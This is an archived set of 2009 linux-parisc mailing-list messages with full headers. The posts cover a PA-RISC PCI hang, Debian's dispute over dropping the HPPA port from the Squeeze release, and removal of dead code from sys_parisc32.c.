X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPPA hang with PCI SERR or PARITY enabling
Date: Mon, 15 Jun 2009 10:06:10 -0400 (EDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <20090615140610.E26A14FE3@hiauly1.hia.nrc.ca>
References: <Pine.SOC.4.64.0906151310150.20680@math.ut.ee>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1245074777 32501 80.91.229.12 (15 Jun 2009 14:06:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 15 Jun 2009 14:06:17 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: mroos@linux.ee (Meelis Roos)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 15 16:06:15 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MGCpC-0005Sq-Nr
	for glpp-linux-parisc@gmane.org; Mon, 15 Jun 2009 16:06:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751814AbZFOOGJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 15 Jun 2009 10:06:09 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751888AbZFOOGJ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 15 Jun 2009 10:06:09 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2412 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751814AbZFOOGJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 15 Jun 2009 10:06:09 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id E26A14FE3; Mon, 15 Jun 2009 10:06:10 -0400 (EDT)
In-Reply-To: <Pine.SOC.4.64.0906151310150.20680@math.ut.ee> from "Meelis Roos" at Jun 15, 2009 01:24:18 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1747
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1747>

> [17179584.300000] tulip 0000:18:00.0: enabling device (0000 -> 0003)
> [17179584.308000] tulip 0000:18:00.0: enabling SERR and PARITY (0003 -> 0143)
> 
> ************* SYSTEM ALERT **************
> SYSTEM NAME: scaspdb24

As noted here,
http://osdir.com/ml/linux.ports.hppa/2007-07/msg00036.html
the VFP may have obscured some kernel output.  It may be available
in the console log.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: HPPA and Squeeze
Date: Mon, 15 Jun 2009 10:26:56 -0600
Lines: 93
Approved: news@gmane.org
Message-ID: <20090615162656.GA2690@lackof.org>
References: <20090602140734.GC26721@mx0.halon.org.uk> <20090606183600.GA425@lackof.org> <20090608212606.GC19894@halon.org.uk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1245083228 30649 80.91.229.12 (15 Jun 2009 16:27:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 15 Jun 2009 16:27:08 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	HPPA porters <debian-hppa@lists.debian.org>,
	linux-parisc@vger.kernel.org
To: Neil McGovern <maulkin@halon.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 15 18:27:05 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MGF1R-0004qL-P3
	for glpp-linux-parisc@gmane.org; Mon, 15 Jun 2009 18:27:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751506AbZFOQ04 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 15 Jun 2009 12:26:56 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757088AbZFOQ04
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 15 Jun 2009 12:26:56 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:51766 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751506AbZFOQ0z (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 15 Jun 2009 12:26:55 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 2AE8433E0064;
	Mon, 15 Jun 2009 10:26:58 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id XjJrnzpZxKoe; Mon, 15 Jun 2009 10:26:57 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 4342A33E0069; Mon, 15 Jun 2009 10:26:56 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20090608212606.GC19894@halon.org.uk>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1748 gmane.linux.debian.ports.hppa:5749
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1748>

On Mon, Jun 08, 2009 at 10:26:06PM +0100, Neil McGovern wrote:
> Firstly, thanks for your mail, apologies that I haven't replied sooner,
> we've had EU and local elections, so I've been busy runnign around with
> leaflets, knocking on doors, kissing babies etc. like any politician. No
> expenses though...

No problem.

> 
> On Sat, Jun 06, 2009 at 12:36:01PM -0600, Grant Grundler wrote:
> > Carlos O'Donnell asked some questions in response to [0] and I never
> > saw any response.  Can an attendee of the above meeting please reply
> > this email from Carlos?
> >     http://lists.debian.org/debian-release/2009/04/msg00303.html
> > 
> 
> I'm not sure what replies you'd like... there's certainly been some
> follow ups to that mail.

The following questions haven't been answered in that thread:
1) Is there a list of different porting efforts?
2) What is considered proper java support? GCJ?

I've commented on the kernel side and it's looking better.
I don't know the status of the HPPA installer.

> > I also never got a response to my offer here:
> >     http://lists.debian.org/debian-release/2009/04/msg00339.html
> > 
> 
> Indeed, and that's worrying. I would have expected a HPPA porter (if
> indeed one still exists) to have replied to that.

Or they already have machines. I'm not a DD and don't aspire to be one.
So these are "in the wild" from a Debian point of view.

> > Quite a few serious hppa specific bugs have been fixed upstream over
> > the past 6 months. This is worth revisiting.
> > 
> > Is upstream stable enough for a buildd?  I don't know since I'm not aware
> > of any attempts to run a buildd with those kernels.
> 
> Neither do we, we're not HPPA porters :)
> We did go through this before with newer kernels, and it didn't help
> FWIW.
> 
> > Is the answer to that question still germane?
> 
> Ish. We still have the issue that you can't actually buy HPPAs any more,
> and various bits and pieces from the Arch Requalification list.

We can buy HPPA. Just not new ones. There are several resellers of
used HPPA gear if someone wants/needs to spend money on it.

Can you list the "various bits and pieces" specifically?

I can then prod the folks I know who might be able to do something about
if they still feel like it.


> [change of order by me below]
> > Also, I'd like to ask HPPA debs be kept in "testing" staging area,
> > just never promoted when the release is cut.  This will let people
> > continue using HPPA without having to suffer with the !hppa breakage
> > that lives in unstable. 
> 
> > (that's all I personally care about - I don't care about "stable"
> > releases.)
> 
> This is one of the major problems for the port. Testing exists to create
> the next stable release. Essentially, testing *is* the next stable,
> except that it's a little volatile for a number of months... :)

Ok.

> > Can we have the minutes for this meeting?
> 
> I'm afraid they're not publicly available, but I will be posting a
> mail to d-d-a real-soon-now(tm), apologies for the delays in this, it
> was a rather full meeting.

Given Debian is non-profit and strives to be transperent in it's operations,
this sounds like a digression in that effort.

I'm not on d-d-a. Can you please CC affected ports? (TIA)

cheers,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFC] remove dead code from sys_parisc32.c
Date: Mon, 15 Jun 2009 10:37:56 -0600
Lines: 26
Approved: news@gmane.org
Message-ID: <20090615163756.GB2690@lackof.org>
References: <20090608073727.GA19976@lst.de> <20090608141752.7E16F4FC4@hiauly1.hia.nrc.ca> <20090608142039.GA3806@lst.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1245083884 581 80.91.229.12 (15 Jun 2009 16:38:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 15 Jun 2009 16:38:04 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	linux-parisc@vger.kernel.org
To: Christoph Hellwig <hch@lst.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 15 18:38:02 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MGFC4-0000wM-2m
	for glpp-linux-parisc@gmane.org; Mon, 15 Jun 2009 18:38:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756757AbZFOQhz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 15 Jun 2009 12:37:55 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757693AbZFOQhz
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 15 Jun 2009 12:37:55 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:54152 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756757AbZFOQhz (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 15 Jun 2009 12:37:55 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id E811933E0002;
	Mon, 15 Jun 2009 10:37:57 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id ssZGtFw5kKel; Mon, 15 Jun 2009 10:37:56 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id C45B133E0069; Mon, 15 Jun 2009 10:37:56 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20090608142039.GA3806@lst.de>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1749
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1749>

On Mon, Jun 08, 2009 at 04:20:39PM +0200, Christoph Hellwig wrote:
> On Mon, Jun 08, 2009 at 10:17:51AM -0400, John David Anglin wrote:
> > > On Wed, Nov 05, 2008 at 03:08:10PM +0100, Christoph Hellwig wrote:
> > > > Anyone wants to pick this one up?
> > > > 
> > > > On Sun, Aug 17, 2008 at 04:41:51AM +0200, Christoph Hellwig wrote:
> > > > > Unless I'm totally missing something get_fd_set32/set_fd_set32 are
> > > > > completely unused.
> > 
> > In theory, they were removed in 2004 by this proposed change:
> > http://lkml.org/lkml/2004/4/17/37
> 
> The users were removed, the helpers stayed.  Kyle promised to put the
> patch to remove them in last year, but somehow the patch got lost a
> couple of times :)

Kyle and Helge are the maintainers right now and probably just
need to push your original patch. It looks straight forward to me.

thanks
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Mon, 15 Jun 2009 11:31:02 -0600
Lines: 167
Approved: news@gmane.org
Message-ID: <20090615173102.GC2690@lackof.org>
References: <20090602140734.GC26721@mx0.halon.org.uk> <20090606183600.GA425@lackof.org> <4A31FA76.20103@debian.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1245087072 11982 80.91.229.12 (15 Jun 2009 17:31:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 15 Jun 2009 17:31:12 +0000 (UTC)
Cc: HPPA porters <debian-hppa@lists.debian.org>,
	Debian Release <debian-release@lists.debian.org>,
	admin@debian-ports.org, linux-parisc@vger.kernel.org
To: Luk Claes <luk@debian.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 15 19:31:09 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MGG1R-0008IX-9p
	for glpp-linux-parisc@gmane.org; Mon, 15 Jun 2009 19:31:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757158AbZFORbB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 15 Jun 2009 13:31:01 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757693AbZFORbB
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 15 Jun 2009 13:31:01 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:48354 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757019AbZFORbA (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 15 Jun 2009 13:31:00 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id DE5C333E0064;
	Mon, 15 Jun 2009 11:31:02 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id ZBU2NvM5R2h8; Mon, 15 Jun 2009 11:31:02 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 2A8F333E0069; Mon, 15 Jun 2009 11:31:02 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <4A31FA76.20103@debian.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1750 gmane.linux.debian.ports.hppa:5750 gmane.linux.debian.devel.release:30778
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1750>

On Fri, Jun 12, 2009 at 08:49:26AM +0200, Luk Claes wrote:
> Grant Grundler wrote:
> > +linux-parisc (hppa kernel, compiler and !debian tech forum)
> > 
> > Neil,
> > thanks for the summary. I know this is an unpleasant business in general.
> > 
> > On Tue, Jun 02, 2009 at 03:07:35PM +0100, Neil McGovern wrote:
> >> Hi,
> >>
> >> As mentioned previously[0], the release team haven't been happy with the
> >> state of the HPPA port in Debian. After the release team meeting[1], it
> >> has been decided that unfortunatly HPPA will not be supported for
> >> Squeeze. This was after careful consideration, and wasn't an easy
> >> decision.
> >>
> >> This means that ftpmasters will be asked to remove HPPA from testing and
> >> unstable from the 30th June. It is suggested that HPPA porters may wish
> >> to consider using debian-ports.org if they wish to continue with the
> >> port.
> >>
> >> Regards,
> >> Neil McGovern
> >>
> >> [0] http://lists.debian.org/debian-release/2009/04/msg00299.html
> > 
> > Carlos O'Donnell asked some questions in response to [0] and I never
> > saw any response.  Can an attendee of the above meeting please reply
> > this email from Carlos?
> >
> >     http://lists.debian.org/debian-release/2009/04/msg00303.html
> 
> Note that it's wrong to assume we will come with the answers.

I was expecting a summary of specific issues from an organization
that claims to operate transperently.  The hand waving is easy. But
doesn't resolve problems and doesn't meet my expectation of an "open"
organization that I've donated money, time, and materials to.

>  It's an
> extra bad feeling we get that even the people that do respond when there
> is a request regarding hppa porters don't know what the issues are...

Expecting me to know the state of user space components is a bit silly.
I'm not a DD. I'm a kernel developer. Specifically IO/Device Drivers.

Carlos does know that state (toolchain/glibc) and he just wanted
a list of issues that are driving this decision. It's a very reasonable
question he asked.

> > I also never got a response to my offer here:
> >     http://lists.debian.org/debian-release/2009/04/msg00339.html
> 
> There was some discussion with DSA and they didn't seem willing to take
> the offer as it would be very restricted regarding access and control
> (too strongly firewalled if I remember correctly) for our administrators.

I can put one (and maybe two) machines on a public IP. Just ask.
The remote console access will remain behind a fire wall.

BTW, that firewall was reviewed and approved by Lamont (a pretty well
known DD and buildd maintainer).

Thibaut Varene (who is a DD) has offered to host HPPA buildd machines
as well but hasn't heard any response to that offer either.

> It's rather strange that you did not get any feedback in
> that regard.

Agred. Maybe the problems that need to be resolved aren't technical ones.

In any case, responding to some of the above with specific concerns
should continue this constructive dialog.

> 
> > And my response again to this question posted in [0]:
> >> * The machines that host the buildds still seem to have a very
> >> unreliable kernel. Is there any update on this?
> 
> It looks like the amount of random crashes has decreased and the amount
> of random segfaults has increased, though does not look promising after
> more than 2 years already of random issues like this.

The buildd is seeing issues most other HPPA users (including me) are
not seeing. That makes the problems quite a bit harder to resolve.

Last time I tried to set up a buildd was rather painful and exceeded
the amount of time I was willing to invest (vs contributing to other
kernel issues). This was more than 2 years ago and I'm willing to
try again IFF someone can tell me what impact that would have on
the Debian cabal that seems to be running things.

> > Is upstream stable enough for a buildd?  I don't know since I'm not aware
> > of any attempts to run a buildd with those kernels.
> 
> Rather recent kernels have been tried and like said above seem to behave
> better, but still very much subpar.

Have bugs been filed for those issues that HPPA folks can look at?
How can I find them?

> > Is the answer to that question still germane?
> > If so, I'm willing to setup a local buildd and try it. But I will need
> > more time and some commitment that if it works, hppa remain in testing
> > release (that's all I personally care about - I don't care about "stable"
> > releases.)
> 
> That's not how it works. testing is the preparation for the next stable
> release, so staying in testing means fixing any important outstanding
> porting issue and most importantly the random crashes and segfaults,
> actively making sure there are no important issues with the hppa port
> within Debian and committing to support the next stable release.

Ok. Sounds like Helge is ok with "unstable" and I'll try switching to
"unstable" instead of "testing". 


> > Can we have the minutes for this meeting?
> 
> No, I didn't even get the chance myself to read them. A summary of the
> minutes will be posted as usual in the next 'Bits from the Release Team'
> though.

Ok - can debian-hppa mailing list be CC'd when that's posted please?

> > Also, I'd like to ask HPPA debs be kept in "testing" staging area,
> > just never promoted when the release is cut.  This will let people
> > continue using HPPA without having to suffer with the !hppa breakage
> > that lives in unstable.
> 
> This will get DSA, maintainers, release team and others keep being
> frustrated that hppa issues are making their work harder

My goal is to allow these folks to ignore HPPA but still allow HPPA
to benefit from the "let bits bake in unstable before promoting".

I want to acknowledge stable releases are alot of work and I believe
Debian HPPA is sufficiently usable without that extra work.

>  and will only
> be tolerated if there will finally be a clear commitment from the hppa
> porters to deal with any present and future important porting issue in a
> reasonable time frame.
>
> The main problem we have with hppa is that important porter issues are
> not dealt with in a reasonable time frame. The random crashes and
> segfaults are lasting for years already!

As Helge said, many problems have been fixed. It's unfair to ignore that.

And open source is in general is NOT living up to the "good becuase
it was reviewed by many people" for the bulk of the code. HPPA is
suffering from this while resolving some pretty ugly arch specific issues.


> Note that we do *NOT* intend to drop hppa from unstable, it being
> mentioned at all was an unfortunate sign of the deep frustration of some...

Ok. Thanks for clarifying.

cheers,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: HPPA and Squeeze
Date: Mon, 15 Jun 2009 19:32:00 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <4A368590.4000008@gmx.de>
References: <20090602140734.GC26721@mx0.halon.org.uk> <20090606183600.GA425@lackof.org> <20090608212606.GC19894@halon.org.uk> <20090615162656.GA2690@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1245087134 12163 80.91.229.12 (15 Jun 2009 17:32:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 15 Jun 2009 17:32:14 +0000 (UTC)
Cc: Neil McGovern <maulkin@halon.org.uk>,
	HPPA porters <debian-hppa@lists.debian.org>,
	linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 15 19:32:11 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MGG2R-0008IX-Ky
	for glpp-linux-parisc@gmane.org; Mon, 15 Jun 2009 19:32:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755711AbZFORcD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 15 Jun 2009 13:32:03 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757158AbZFORcD
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 15 Jun 2009 13:32:03 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:52357 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1755711AbZFORcC (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 15 Jun 2009 13:32:02 -0400
Original-Received: (qmail invoked by alias); 15 Jun 2009 17:32:01 -0000
Original-Received: from mnhm-590e0711.pool.einsundeins.de (EHLO halden.box) [89.14.7.17]
  by mail.gmx.net (mp051) with SMTP; 15 Jun 2009 19:32:01 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX190UfFQZBN04c88bD5NA610GUXcUfFOyCl7eLZcI7
	Iot0ITzsY52GKB
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3pre) Gecko/20090513 Fedora/3.0-2.3.beta2.fc11 Thunderbird/3.0b2
In-Reply-To: <20090615162656.GA2690@lackof.org>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.61
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1751 gmane.linux.debian.ports.hppa:5751
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1751>

On 06/15/2009 06:26 PM, Grant Grundler wrote:
> On Mon, Jun 08, 2009 at 10:26:06PM +0100, Neil McGovern wrote:
>> Firstly, thanks for your mail, apologies that I haven't replied sooner,
>> we've had EU and local elections, so I've been busy runnign around with
>> leaflets, knocking on doors, kissing babies etc. like any politician. No
>> expenses though...
>
> No problem.
>
>> On Sat, Jun 06, 2009 at 12:36:01PM -0600, Grant Grundler wrote:
>>> Carlos O'Donnell asked some questions in response to [0] and I never
>>> saw any response.  Can an attendee of the above meeting please reply
>>> this email from Carlos?
>>>      http://lists.debian.org/debian-release/2009/04/msg00303.html
>>>
>> I'm not sure what replies you'd like... there's certainly been some
>> follow ups to that mail.
>
> The following questions haven't been answered in that thread:
> 1) Is there a list of different porting efforts?
> 2) What is considered proper java support? GCJ?
>
> I've commented on the kernel side and it's looking better.
> I don't know the status of the HPPA installer.

The HPPA installer should be OK:
http://www.mail-archive.com/debian-hppa@lists.debian.org/msg06298.html

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFC] remove dead code from sys_parisc32.c
Date: Mon, 15 Jun 2009 18:51:18 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <20090615225118.GD13153@bombadil.infradead.org>
References: <20090608073727.GA19976@lst.de> <20090608141752.7E16F4FC4@hiauly1.hia.nrc.ca> <20090608142039.GA3806@lst.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1245106287 13800 80.91.229.12 (15 Jun 2009 22:51:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 15 Jun 2009 22:51:27 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	linux-parisc@vger.kernel.org
To: Christoph Hellwig <hch@lst.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 16 00:51:25 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MGL1P-0004gH-Sh
	for glpp-linux-parisc@gmane.org; Tue, 16 Jun 2009 00:51:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752442AbZFOWvT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 15 Jun 2009 18:51:19 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752782AbZFOWvT
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 15 Jun 2009 18:51:19 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:42201 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752442AbZFOWvS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 15 Jun 2009 18:51:18 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1MGL1K-00083B-7s; Mon, 15 Jun 2009 22:51:18 +0000
Content-Disposition: inline
In-Reply-To: <20090608142039.GA3806@lst.de>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1752
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1752>

On Mon, Jun 08, 2009 at 04:20:39PM +0200, Christoph Hellwig wrote:
> On Mon, Jun 08, 2009 at 10:17:51AM -0400, John David Anglin wrote:
> > > On Wed, Nov 05, 2008 at 03:08:10PM +0100, Christoph Hellwig wrote:
> > > > Anyone wants to pick this one up?
> > > > 
> > > > On Sun, Aug 17, 2008 at 04:41:51AM +0200, Christoph Hellwig wrote:
> > > > > Unless I'm totally missing something get_fd_set32/set_fd_set32 are
> > > > > completely unused.
> > 
> > In theory, they were removed in 2004 by this proposed change:
> > http://lkml.org/lkml/2004/4/17/37
> 
> The users were removed, the helpers stayed.  Kyle promised to put the
> patch to remove them in last year, but somehow the patch got lost a
> couple of times :)
> 

